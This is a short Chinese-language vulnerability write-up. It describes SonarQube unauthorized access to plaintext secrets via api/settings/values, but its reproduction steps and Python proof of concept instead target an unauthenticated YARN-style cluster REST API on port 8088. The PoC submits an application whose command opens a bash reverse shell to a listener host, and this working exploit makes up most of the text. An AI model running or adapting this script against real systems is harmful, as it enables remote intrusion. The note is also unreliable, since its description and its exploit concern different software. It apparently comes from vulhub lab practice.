漏洞描述

SonarQube配置不当造成未授权访问,可以通过api/settings/values获取明文SMTP、SVN和Gitlab等敏感信息。

漏洞环境

vulhub

复现过程

利用过程如下:

  1. 在本地监听等待反弹 shell 连接
  2. 调用 New Application API 创建 Application
  3. 调用 Submit Application API 提交

环境搭建后,访问urlhttp://127.0.0.1:8088/cluster,界面如下:

Untitled


poc:

#!/usr/bin/env python

import requests

target = '<http://192.168.1.248:8088/>'
lhost = '192.168.1.248' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

Untitled